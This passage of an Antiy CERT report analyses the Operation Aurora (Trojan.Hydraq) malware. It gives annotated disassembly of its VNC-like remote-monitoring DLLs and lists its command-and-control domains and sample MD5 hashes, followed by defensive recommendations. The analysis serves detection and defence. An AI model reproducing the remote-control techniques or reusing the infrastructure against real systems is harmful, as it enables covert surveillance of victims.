 +------------------------------------------------------------------------------------------------------+
 | 100088CA  |.  51            push ecx                                 ; /pWndClassEx                  |           
 | 100088CB  |.  894424 2C     mov dword ptr ss:[esp+2C],eax            ; |                             |
 | 100088CF  |.  897C24 30     mov dword ptr ss:[esp+30],edi            ; |                             |
 | 100088D3  |.  C74424 34 74D>mov dword ptr ss:[esp+34],acelpvc.1002D4>; |ASCII "WinVNC desktop sink"  |
 | 100088DB  |.  897C24 38     mov dword ptr ss:[esp+38],edi            ; |                             |
 | 100088DF  |.  FF15 74D20210 call dword ptr ds:[1002D274]             ; \RegisterClassExA             |
 | 100088E5  |.  66:A3 5871031>mov word ptr ds:[10037158],ax                                            |
 | 100088EB  |>  8B15 D8790310 mov edx,dword ptr ds:[100379D8]          ;  acelpvc.10000000             |
 | 100088F1  |.  57            push edi                                 ; /lParam                       |
 | 100088F2  |.  52            push edx                                 ; |hInst => 10000000            |
 | 100088F3  |.  57            push edi                                 ; |hMenu                        |
 | 100088F4  |.  57            push edi                                 ; |hParent                      |
 | 100088F5  |.  68 C8000000   push 0C8                                 ; |Height = C8 (200.)           |
 | 100088FA  |.  68 90010000   push 190                                 ; |Width = 190 (400.)           |
 | 100088FF  |.  68 00000080   push 80000000                            ; |Y = 80000000 (-2147483648.)  |
 | 10008904  |.  68 00000080   push 80000000                            ; |X = 80000000 (-2147483648.)  |
 | 10008909  |.  68 0000CF00   push 0CF0000                             ; |Style = WS_OVERLAPPED|       |
 | WS_MINIMIZEBOX|WS_MAXIMIZEBOX|WS_SYSMENU|WS_THICKFRAME|WS_CAPTION                                    |
 | 1000890E  |.  68 A8D30210   push acelpvc.1002D3A8                    ; |WindowName = "Default"       |
 | 10008913  |.  68 74D40210   push acelpvc.1002D474                    ; |Class = "WinVNC desktop sink"|
 | 10008918  |.  57            push edi                                 ; |ExtStyle                     |
 | 10008919  |.  FF15 78D20210 call dword ptr ds:[1002D278]             ; \CreateWindowExA              |
 + -----------------------------------------------------------------------------------------------------+

3.5 acelpvc.dll、VedioDriver.dll的功能分析

    acelpvc.dll检测受控端是否是屏幕保护状态,如果是屏幕保护状态则发送关闭屏幕保护消息,核心API为:GetClassNameA与PostMessageA:

 +-------------------------------------------------------------------------------------------------------+
 | 100079FA   .  68 00010000   push 100                               ; /Count = 100 (256.)              |
 | 100079FF   .  8D4424 08     lea eax,dword ptr ss:[esp+8]           ; |获取屏幕保护程序类名            |
 | 10007A03   .  50            push eax                               ; |Buffer                          |
 | 10007A04   .  53            push ebx                               ; |hWnd                            |
 | 10007A05   .  FF15 ECD10210 call dword ptr ds:[1002D1EC]           ; \GetClassNameA                   |
 | 10007A0B   .  85C0          test eax,eax                                                              |
 | 10007A0D   .  74 23         je short acelpvc.10007A32                                                 |
 | 10007A0F   .  56            push esi                                                                  |
 | 10007A10   .  57            push edi                                                                  |
 | 10007A11   .  BF 9CD40210   mov edi,acelpvc.1002D49C               ;  ASCII "WindowsScreenSaverClass" |
 | 10007A16   .  8D7424 0C     lea esi,dword ptr ss:[esp+C]                                              |
 | 10007A1A   .  B9 18000000   mov ecx,18                                                                |
 | 10007A1F   .  33D2          xor edx,edx                                                               |
 | 10007A21   .  F3:A6         repe cmps byte ptr es:[edi],byte ptr ds:>                                 |
 | 10007A23   .  5F            pop edi                                                                   |
 | 10007A24   .  5E            pop esi                                                                   |
 | 10007A25   .  75 0B         jnz short acelpvc.10007A32                                                |
 | 10007A27   .  52            push edx                               ; /lParam => 0                     |
 | 10007A28   .  52            push edx                               ; |wParam => 0                     |
 | 10007A29   .  6A 10         push 10                                ; |向屏幕保护发送关闭消息          |
 | 10007A2B   .  53            push ebx                               ; |hWnd                            |
 | 10007A2C   .  FF15 08D20210 call dword ptr ds:[1002D208]           ; \PostMessageA                    |
 + ------------------------------------------------------------------------------------------------------+

    调用VedioDriver.dll更新窗口图像,下面为部分逆向代码片段:

 +------------------------------------------------------------------------------------------------------------+
 | 10001CE0   .  68 DC200010   push VedioDri.100020DC        ; /MsgName = "VedioDriver.Deferred.UpdateMessage"|
 | 10001CE5   .  FF15 3C200010 call dword ptr ds:[<&USER32.RegisterWind>; \RegisterWindowMessageA             |
 | 10001CEB   .  A3 4C300010   mov dword ptr ds:[1000304C],eax                                                |
 | 10001CF0   .  C3            retn                                                                           |
 + -----------------------------------------------------------------------------------------------------------+

    acelpvc.dll、VedioDriver.dll的功能具有VNC的相关功能,可以被远程监视窗口活动。


3.6 样本使用的域名分析

    上述样本的控制跳板定向为免费2级域名,这是当前远程控制木马广泛使用的技术手段,由于免费2级域名申请相对简单,且不产生支付环节,使攻击者的成本降低,隐蔽性提高。
    安天通过行为分析系统与人工分析结合提取了目前样本集合所使用的五个域名。其中除了一个已经失效域名,都是免费2级域名服务商所提供的动态2级域名。相关服务商已经进行了上述指向处理,目前相关木马已经无法与控制服务器连接。这可能是有关国家应急响应(CERT)体系同一的协调响应的结果。

    下面是目前分析样本集中所提取到的域名:

 +---------------------+----------------+---------------------+
 |        域名         | 被指向的IP地址 |      IP地址属地     |
 |---------------------|----------------|---------------------|
 | bl88.webhop.org     | 127.0.0.1      | 本地(被服务商屏蔽)|
 |---------------------|----------------|---------------------|
 | blog1.servebeer.com | 127.0.0.2      | 本地(被服务商屏蔽)|
 |---------------------|----------------|---------------------|
 | www.ccmp1.com       | 域名失效       | 域名失效            |
 |---------------------|----------------|---------------------|
 | 360.homeunix.com    | 127.0.0.1      | 本地(被服务商屏蔽)|
 |---------------------|----------------|---------------------|
 | sl1.homelinux.org   | 127.0.0.2      | 本地(被服务商屏蔽)|
 +---------------------+----------------+---------------------+

    安天提取到的域名信息与目前境外厂商公开资料域名有所差异,这说明相关恶意代码有更多的变种或被加工、定制的版本,根据目前全部公开资料整理的域名结果集来看,尚有19个域名与安天目前分析到的5个域名不重合,根据目前每一个定制版本都对应一个不同域名的规律,应该至少有19个样本不在本次分析的样本集合中。这可能由于安天没有捕获到相关样本,也可能由于安天对照命名更新机制有一定滞后性,有的样本安天捕获入库时其他厂商尚不能检测,因此没有对照命名没有提取到。
    同时各厂商和网络安全组织可查阅公开资料也表明,部分在此次事件中出现的域名也在其他类型攻击中被发现(如Microsoft  Registry  Cleaner与Security Lab所公布的adobe flash player的攻击事件),通过上述关联基本可以看出,相关攻击事件存在一定的时间跨度和关联。当然地下经济体系的各种资源有一定的可置换交易性,同时也不能排除免费域名注册者账户密码被窃取、或者被猜测到的各种可能。因此也并不能绝对确认上述攻击与本次事件绝对系同一源头。

 第4章 最终分析意见

    在本事件中攻击者主要依托客户端程序的0day漏洞,实现可执行木马注入,并加载远程控制等其他功能模块,其后利用免费2级域名为控制跳板,实施相关行为。
    综合相关样本集合分析结果与网络资料汇总分析表明,这是一组有时间跨度的、有覆盖范围的关联型攻击事件。相关事件样本的同源性可以得到确认。但由于当前全球地下经济体系漏洞、恶意代码和地下资源的产业链条的存在,漏洞的POC和exploit代码、恶意代码源码和加工的版本、肉鸡(跳板)、其他可利用空间和代理等,都在被广泛的交易或共享,代码同源性分析只能作为事件存在关联的判据,在没有有关网络行为有效辅证的情况下,难以对攻击的同源性进行确认。
    同时根据安天 CERT了解到的情况,各个反病毒公司都捕获到了一定基数的相关样本,而非全部来自现场定向提取,这使相关事件是一组定向型攻击,还是广泛的攻击事件,或者兼而有之,很难做出有效判定。加之有关分析时效性所限较长,场景难于追溯复现,而传言受到入侵的有关公司亦没有公布更多有效信息,这都使进一步分析工作已经缺少进展的空间。

 第5章 安天的建议与思考

    目前针对内网体系的入侵,其原点更多的来自针对客户端应用的攻击,攻击的焦点多数集中于IE、Firefox浏览器等浏览器、office、Adobe PDF Reader等文档浏览和编辑工具等。对windows用户来说,牺牲部分兼容性将Windows DEP保护设置从保护默认的仅为基本的windows程序和服务使用调整到为所有程序和服务使用,是我们能看到的最具有普遍性的方法。同时兼容性问题一定程度上可以靠设置例外解决。但对于具有安全诉求的个人用户来说,需要知道,打开反病毒实时监控便可以畅行网络的时间段已经终结,尽管系统UAC和主动防御产品的交互的确构成了对用户的打扰,但安全必然要付出方便性的代价。(关于如何配置实现,参看附录链接)
    而对企业网络来说,IT部门必须把维护的重点从关键服务器扩展到终端,一旦终端被突破,不仅其上的资料损失,而且会成为内部攻击的跳板,而终端用户的网络认证身份和权限,则完全被攻击者获取。仅凭出口UTM/IDP,很难阻塞到0DAY的攻击,网管需要补充更多的手段,以获取主机的异常和内网访问轨迹的变化。这使网管需要更多的精力对类似内网IDS日志和其他访问日志予以更密切的关注。
    同时,类似 "浏览网页、打开文档文件与运行可执行程序一样是有风险的"安全常识的广泛普及尤为同样重要,很多企业的还把安全建立在简单的防病毒的早期规定,很多用户还完全不知道"静态文件"的风险。
    同时不可否认,对于自由接入Internet的企业和机构的来说,将整体或者关键部门的网络与Internet断开,会严重的影响交流和效率,但对于安全诉求高于方便诉求的企业和部门,这确实是最后的措施。这种网络"隔离"不是鸵鸟政策,不是内部IT和CERT无能的表现,而是最不情愿的最终方案。
    相关事件传言涉及的企业中涉及到了互联网、软件开发等国际领导厂商,甚至包括了主流安全厂商。有关事件再次反馈出整个互联网体系的脆弱,相关案例说明,在网络世界中,不仅是那些普通用户与安全投入不足的中小企业缺乏保障,即使是有成熟的安全体系,严格的管理制度,成建制的安全投入的大型企业与机构,包括安全企业本身,也都难以保障自己的安全。
    在互联网的童年时代,系统攻防更多的集中于开放的服务端口,相对单一的防护和关注,能解决主要问题。而今随着主流操作系统本身的安全性的提升,安全威胁开始泛化到客户端的应用,不论是浏览、下载、聊天等网络行为,还是打开视频、音频等媒体文件、文档文件这样的本地交互,都可能是引入风险的过程,甚至包括编程环境对特定工程的编译、协议分析工具打开构造的数据包镜像,都会遭遇溢出。
    在过去的几年,主流操作系统和软件厂商为改进安全响应能力做出了巨大的努力,充分缩短了从漏洞发现到补丁推出的时间,但相关情况说明,将安全维完全系于第一时间打补丁,就意味着在漏洞曝光前的潜伏期内,掌握0Day漏洞的攻击者可以像相关入侵事件传言的那样畅通无阻。
    微软等厂商为了确保产品的稳定可靠,采用每月定时打补丁的整体策略,这是可以理解的,但对于类似"极光"等严重漏洞曝光后,微软打破模式,采用紧急单独发布补丁的应变态度更值得肯定。
    同时也需要关注的是,有关厂商面临庞大的用户基数带来的运维压力,导致厂商必须在补丁升级中考虑的负载均衡策略,但这也让用户从补丁出现到打完补丁的时间间隔变得更长,这使基于补丁文件的差异点分析溢出点,然后对尚未打补丁的用户进行攻击的1Day攻击可以大行其道。但相对厂商的承载能力来说,如果让所有用户同时升级,则一方面可能面临带宽饱和、服务阻塞,结果所有用户都打不上补丁的情况出现;同时一旦补丁中有新的问题,则要承担更大的压力。这确实是两难的选择。
    而更困难的局面在于,目前的漏洞分析挖掘的注意点已经不集中于主流厂商,而开始普遍扩散。而缺少安全规范、不能承担安全响应体系投入的中小型软件开发和互联网服务商,势必沦为集体性重灾区。有限的开发人员或者无力解决安全漏洞、或者对攻击浑然不觉、或者在开发与修补间疲于奔命。而大量在攻击和木马方面的小众事件也会最终分散和耗尽安全厂商的应急和分析人力。而正如我们过去一年所看到的,一方面部分公众还根据传言猜忌着反病毒厂商是不是也编写病毒,而各个反病毒厂商却都默默承受着庞大的地下经济体系所构造的千万级别的样本压力。如此推演,这虽然仍然将是一个更多人渴望向往、趋之若鹜的互联网,但也会沦为一个从业企业到网民人人自危的互联网。
    作为安全厂商,我们期待公众和用户对于安全予以更多关注和投入,但我们深知如果更多用户的网络接入价值更多的被对安全的关注和投入抵消,那么网络产业的继续发展就会被阻塞。这正是安全厂商都积极的寻求让用户更小的投入获取更大的安全价值的原因。但无疑,仅靠安全厂商的力量,包括仅靠主流操作系统、设备和应用厂商的力量,都不足以拯救互联网可能在若干年后面对的安全困局。我们期待更广泛的协同、互动、合作、响应来遏制安全威胁的泛化。我们期待安全与丰富和精彩的内容与交互一样,成为互联网用户的基本体验。

附录

附录一:安天CERT相关时间表

安天CERT相关时间表:

 +---------------+-------------------------------------------------------------------+
 |       时间    |                         事件                                      |
 |---------------|-------------------------------------------------------------------|
 | 2010-1-13     | 关注有关传言,并开始积累和收集资料。                              |
 |---------------|-------------------------------------------------------------------|
 | 2010-1-14     | 捕获极光漏洞,开始有关溢出分析研究,协助产品开发部门升级防护规则。|
 |---------------|-------------------------------------------------------------------|
 | 2010-1-16     | 发布有关分析和报告和用户建议。                                    |
 |---------------|-------------------------------------------------------------------|
 | 2010-1-18     | 提供详细分析报告给其他CERT组织。                                  |
 |---------------|-------------------------------------------------------------------|
 | 2010-1-20~24 | 陆续接到安天企业级产品用户和网友反馈,要求就有关传闻进行验证分析。|
 |---------------|-------------------------------------------------------------------|
 | 2010-1-22     | 开始提取样本,进行系统关联分析。                                   |
 |---------------|-------------------------------------------------------------------|
 |2010-1-26      |形成本报告第一稿,向用户就相关信息进行反馈。                       |
 |---------------|-------------------------------------------------------------------|
 |2010-01-28     |修订形成第二稿,并发布PDF和网页版本。                              |
 |---------------|-------------------------------------------------------------------|
 |2010-01-29     |修订形成第三稿,并发布TXT版本。                                    |
 +---------------+-------------------------------------------------------------------+

附录二:参考资料链接

1. 关于如何优化系统安全性参见:Windows系统紧急通用安全配置指南
http://www.antiy.com/cn/security/2010/s100129_002_report-windows.htm

2. IE极光漏洞机理等相关信息
http://www.microsoft.com/china/technet/security/bulletin/ms10-002.mspx
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0249

3. Symantec有关本次事件分析链接:
http://www.symantec.com/connect/blogs/trojanhydraq-incident-analysis-aurora-0-day-exploit

4. McAfee有关本次事件分析链接:
 http://www.mcafee.com/us/threat_center/operation_aurora.html

5. TrendMicro 有关本次事件分析链接:
http://us.trendmicro.com/us/trendwatch/current-threat-activity/zero-day-attacks/index.html?WT.seg_2=2009HP_Alert_TW_ZeroDay

6. ESET有关本次事件分析链接:
http://www.eset.com/threat-center/blog/2010/01/21/operation-aurora-%e2%80%93-history-repeats

7. 有关安全组织的分析链接
http://www.threatexpert.com/report.aspx?md5=7ee6628b8caeef57607e5426261b8c0c
http://blog.fireeye.com/research/2009/07/who-is-exploiting-the-flash-0day.html

8. Microsoft  Registry  Cleaner与Security Lab有关adobe flash player漏洞攻击分析链接:
http://en.securitylab.ru/viruses/382837.php
http://www.registrycleanergeeks.com/trojan/trojanpidiefg/

 附录三:相关样本属性信息表

 样本1(*):
 +------------------+-------------------------------------------------------------+
 | MD5              | 1B59487D4DC029D92B61ABD4F69C9923                            |
 |------------------|-------------------------------------------------------------|
 | 文件大小         | 34,816 字节                                                 |
 |------------------|-------------------------------------------------------------|
 | 原始文件名       | 30755.malware                                               |
 |------------------|-------------------------------------------------------------|
 |                  | 安天: Trojan/Win32.Genome.epoy                              |
 | 对照命名         | McAfee: Roarur.dr                                           |
 |                  | Symantec: Trojan.Hydraq                                     |
 |------------------|-------------------------------------------------------------|
 | 壳/编程语言      | UPX 0.89.6 - 1.02 / 1.05 - 1.24(Microsoft Visual C++ v7.1)|
 |------------------|-------------------------------------------------------------|
 | 时间日期戳       | 2009-7-21 7:38                                              |
 |------------------|-------------------------------------------------------------|
 | 控制端服务器域名 | bl88.webhop.org                                             |
 |------------------|-------------------------------------------------------------|
 | 备注             |(可执行样本)/原始命名无可考,该名字系提交者的命名          |
 +------------------+-------------------------------------------------------------+

 样本2(*):
 +------------------+-------------------------------------------------------------+
 | MD5              | 9F880AC607CBD7CDFFFA609C5883C708                            |
 |------------------|-------------------------------------------------------------|
 | 文件大小         | 34,816 字节                                                 |
 |------------------|-------------------------------------------------------------|
 | 原始文件名       | b.exe                                                       |
 |------------------|-------------------------------------------------------------|
 |                  | 安天: Trojan/Win32.Genome.epoy                              |
 | 对照命名         | McAfee: Roarur.dr                                           |
 |                  | Symantec: Trojan.Hydraq                                     |
 |------------------|-------------------------------------------------------------|
 | 壳/编程语言      | UPX 0.89.6 - 1.02 / 1.05 - 1.24(Microsoft Visual C++ v7.1)|
 |------------------|-------------------------------------------------------------|
 | 时间日期戳       | 2009-7-21 7:38                                              |
 |------------------|-------------------------------------------------------------|
 | 控制端服务器域名 | 360.homeunix.com                                            |
 |------------------|-------------------------------------------------------------|
 | 备注             |(可执行样本)/原始命名无可考,该名字系提交者的命名          |
 +------------------+-------------------------------------------------------------+

 样本3(*):
 +------------------+-------------------------------------------------------------+
 | MD5              | BCBEF5AB2C75C171FEDCCA0A33BCF7F7                            |
 |------------------|-------------------------------------------------------------|
 | 文件大小         | 34,817 字节                                                 |
 |------------------|-------------------------------------------------------------|
 | 原始文件名       | 1.bin                                                       |
 |------------------|-------------------------------------------------------------|
 |                  | 安天: Trojan/Win32.Genome.epoy                              |
 | 对照命名         | McAfee: Roarur.dr                                           |
 |                  | Symantec: Trojan.Hydraq                                     |
 |------------------|-------------------------------------------------------------|
 | 壳/编程语言      | UPX 0.89.6 - 1.02 / 1.05 - 1.24(Microsoft Visual C++ v7.1)|
 |------------------|-------------------------------------------------------------|
 | 时间日期戳       | 2009-7-21 7:38                                              |
 |------------------|-------------------------------------------------------------|
 | 控制端服务器域名 | 360.homeunix.com                                            |
 |------------------|-------------------------------------------------------------|
 | 备注             |(可执行样本)/原始命名无可考,该名字系提交者的命名          |
 +------------------+-------------------------------------------------------------+

 样本4:
 +------------------+-------------------------------------------------------------+
 | MD5              | 32CC9F9DA93DD4E9FD3D203881197CBF                            |
 |------------------|-------------------------------------------------------------|
 | 文件大小         | 81,920 字节                                                 |
 |------------------|-------------------------------------------------------------|
 | 原始文件名       | Rasmon.dll                                                  |
 |------------------|-------------------------------------------------------------|
 |                  | 安天: Trojan/Win32.Genome.epoz                              |
 | 对照命名         | McAfee: Roarur.dll                                          |
 |                  | Symantec: Trojan.Hydraq                                     |
 |------------------|-------------------------------------------------------------|
 | 壳/编程语言      | Microsoft Visual C++                                        |
 |------------------|-------------------------------------------------------------|
 | 时间日期戳       | 2009-5-16 18:15                                             |
 |------------------|-------------------------------------------------------------|
 | 控制端服务器域名 | sl1.homelinux.org                                           |
 |------------------|-------------------------------------------------------------|
 | 域名IP地址国     | 69.164.192.40(美国)                                       |
 +------------------+-------------------------------------------------------------+

 样本5:
 +------------------+-------------------------------------------------------------+
 | MD5              | BBE6FE27D503DA9B1F1C30ADAA40730E                            |
 |------------------|-------------------------------------------------------------|
 | 文件大小         | 81,920 字节                                                 |
 |------------------|-------------------------------------------------------------|
 | 原始文件名       | Rasmon.dll                                                  |
 |------------------|-------------------------------------------------------------|
 |                  | 安天: Trojan/Win32.Genome.epoz                              |
 | 对照命名         | McAfee: Roarur.dll                                          |
 |                  | Symantec: Trojan.Hydraq!gen1                                |
 |------------------|-------------------------------------------------------------|
 | 壳/编程语言      | Microsoft Visual C++                                        |
 |------------------|-------------------------------------------------------------|
 | 时间日期戳       | 2009-5-16 18:15                                             |
 |------------------|-------------------------------------------------------------|
 | 控制端服务器域名 | sl1.homelinux.org                                           |
 |------------------|-------------------------------------------------------------|
 | 域名IP地址国家   | 69.164.192.40(美国)                                       |
 +------------------+-------------------------------------------------------------+


 样本6:
 +------------------+-------------------------------------------------------------+
 | MD5              | 0F9C5408335833E72FE73E6166B5A01B                            |
 |------------------|-------------------------------------------------------------|
 | 文件大小         | 90,112 字节                                                 |
 |------------------|-------------------------------------------------------------|
 | 原始文件名       | Rasmon.dll                                                  |
 |------------------|-------------------------------------------------------------|
 |                  | 安天: Trojan/Win32.Genome.epoz                              |
 | 对照命名         | McAfee: Roarur.dll                                          |
 |                  | Symantec: Trojan.Hydraq!gen1                                |
 |------------------|-------------------------------------------------------------|
 | 壳/编程语言      | 未知                                                        |
 |------------------|-------------------------------------------------------------|
 | 时间日期戳       | 2009-7-21 7:38                                              |
 |------------------|-------------------------------------------------------------|
 | 控制端服务器域名 | 360.homeunix.com                                            |
 +------------------+-------------------------------------------------------------+

 样本7:
 +------------------+-------------------------------------------------------------+
 | MD5              | 2CFCD8C34F22FFB772C99C9293C21BDA                            |
 |------------------|-------------------------------------------------------------|
 | 文件大小         | 90,112 字节                                                 |
 |------------------|-------------------------------------------------------------|
 | 原始文件名       | Rasmon.dll                                                  |
 |------------------|-------------------------------------------------------------|
 |                  | 安天: Trojan/Win32.Genome.epoz                              |
 | 对照命名         | McAfee: Roarur.dll                                          |
 |                  | Symantec: Trojan.Hydraq!gen1                                |
 |------------------|-------------------------------------------------------------|
 | 壳/编程语言      | Microsoft Visual C++ v7.1                                   |
 |------------------|-------------------------------------------------------------|
 | 时间日期戳       | 2009-7-21 7:38                                              |
 |------------------|-------------------------------------------------------------|
 | 控制端服务器域名 | bl88.webhop.org                                             |
 +------------------+-------------------------------------------------------------+
 
 样本8:
 +------------------+-------------------------------------------------------------+
 | MD5              | 3A33013A47C5DD8D1B92A4CFDCDA3765                            |
 |------------------|-------------------------------------------------------------|
 | 文件大小         | 90,112 字节                                                 |
 |------------------|-------------------------------------------------------------|
 | 原始文件名       | Rasmon.dll                                                  |
 |------------------|-------------------------------------------------------------|
 |                  | 安天: Trojan/Win32.Genome.epow                              |
 | 对照命名         | McAfee: Roarur.dll                                          |
 |                  | Symantec: Trojan.Hydraq!gen1                                |
 |------------------|-------------------------------------------------------------|
 | 壳/编程语言      | Microsoft Visual C++ v7.1                                   |
 |------------------|-------------------------------------------------------------|
 | 时间日期戳       | 2009-12-16 12:55                                            |
 |------------------|-------------------------------------------------------------|
 | 控制端服务器域名 | blog1.servebeer.com                                         |
 +------------------+-------------------------------------------------------------+
 
 样本9:
 +------------------+-------------------------------------------------------------+
 | MD5              | 4A069A20B8262B20E7440C8AB9C54E11                            |
 |------------------|-------------------------------------------------------------|
 | 文件大小         | 90,112 字节                                                 |
 |------------------|-------------------------------------------------------------|
 | 原始文件名       | Rasmon.dll                                                  |
 |------------------|-------------------------------------------------------------|
 |                  | 安天: Trojan/Win32.Genome.epoz                              |
 | 对照命名         | McAfee: Roarur.dll                                          |
 |                  | Symantec: Trojan.Hydraq!gen1                                |
 |------------------|-------------------------------------------------------------|
 | 壳/编程语言      | Microsoft Visual C++ v7.1                                   |
 |------------------|-------------------------------------------------------------|
 | 时间日期戳       | 2009-7-21 7:38                                              |
 |------------------|-------------------------------------------------------------|
 | 控制端服务器域名 | www.ccmp1.com                                               |
 +------------------+-------------------------------------------------------------+
 

 样本10:
 +------------------+-------------------------------------------------------------+
 | MD5              | 80FC413CF908CD4506C3F790E484822E                            |
 |------------------|-------------------------------------------------------------|
 | 文件大小         | 90,113 字节                                                 |
 |------------------|-------------------------------------------------------------|
 | 原始文件名       | Rasmon.dll                                                  |
 |------------------|-------------------------------------------------------------|
 |                  | 安天: Trojan/Win32.Genome.eqqr                              |
 | 对照命名         | McAfee: Roarur.dll                                          |
 |                  | Symantec: Trojan.Hydraq!gen1                                |
 |------------------|-------------------------------------------------------------|
 | 壳/编程语言      | 未知                                                        |
 |------------------|-------------------------------------------------------------|
 | 时间日期戳       | 2009-7-21 7:38                                              |
 |------------------|-------------------------------------------------------------|
 | 控制端服务器域名 | 360.homeunix.com                                            |
 +------------------+-------------------------------------------------------------+
 
 样本11:
 +------------------+-------------------------------------------------------------+
 | MD5              | 4A47404FC21FFF4A1BC492F9CD23139C                            |
 |------------------|-------------------------------------------------------------|
 | 文件大小         | 136,704 字节                                                |
 |------------------|-------------------------------------------------------------|
 | 原始文件名       | acelpvc.dll                                                 |
 |------------------|-------------------------------------------------------------|
 |                  | 安天: Trojan/Win32.Genome.eraf                              |
 | 对照命名         | McAfee: Roarur.dll                                          |
 |                  | Symantec: Trojan.Hydraq                                     |
 |------------------|-------------------------------------------------------------|
 | 壳/编程语言      | ASPack 2.12                                                 |
 |------------------|-------------------------------------------------------------|
 | 时间日期戳       | 2006-6-7 11:41                                              |
 +------------------+-------------------------------------------------------------+
 
 样本12:
 +------------------+-------------------------------------------------------------+
 | MD5              | 467EEF090DEB3517F05A48310FCFD4EE                            |
 |------------------|-------------------------------------------------------------|
 | 文件大小         | 8,192 字节                                                  |
 |------------------|-------------------------------------------------------------|
 | 原始文件名       | VedioDriver.dll                                             |
 |------------------|-------------------------------------------------------------|
 |                  | 安天: Trojan/Win32.Agent.bcvj[Spy]                          |
 | 对照命名         | McAfee: Roarur.dll                                          |
 |                  | Symantec: Trojan.Hydraq                                     |
 |------------------|-------------------------------------------------------------|
 | 壳/编程语言      | Microsoft Visual C++ 6.0 DLL                                |
 |------------------|-------------------------------------------------------------|
 | 时间日期戳       | 2006-5-24 1:32                                              |
 +------------------+-------------------------------------------------------------+
 

样本13(*):
 +------------------+-------------------------------------------------------------+
 | MD5              | BA3545841D8A40ED8493E22C0E70A72C                            |
 |------------------|-------------------------------------------------------------|
 | 文件大小         | 20,480 字节                                                 |
 |------------------|-------------------------------------------------------------|
 | 原始文件名       | c_1758.nls                                                  |
 |------------------|-------------------------------------------------------------|
 |                  | 安天: Trojan/Win32.Genome.eqgc                              |
 | 对照命名         | McAfee: Generic.dx                                          |
 |                  | Symantec: Trojan.Hydraq                                     |
 |------------------|-------------------------------------------------------------|
 | 壳/编程语言      | Microsoft Visual C++ 6.0 DLL                                |
 |------------------|-------------------------------------------------------------|
 | 时间日期戳       | 2006-8-15 22:18                                             |
 |------------------|-------------------------------------------------------------|
 | 备注             |(可能下载的PE文件)                                         |
 +------------------+-------------------------------------------------------------+

      注:1、上述带*的相关程序,由于其没有VERSION信息且并非从现场采集,其现场文件名已不可考。
          2、其中大部分控制域名已经失效,其屏蔽基本是由对应免费域名的公司自行屏蔽的。
          3、样本列表中rasmon.dll的编译时间为2009-5月、7月、12月3个时间段。

没有评论: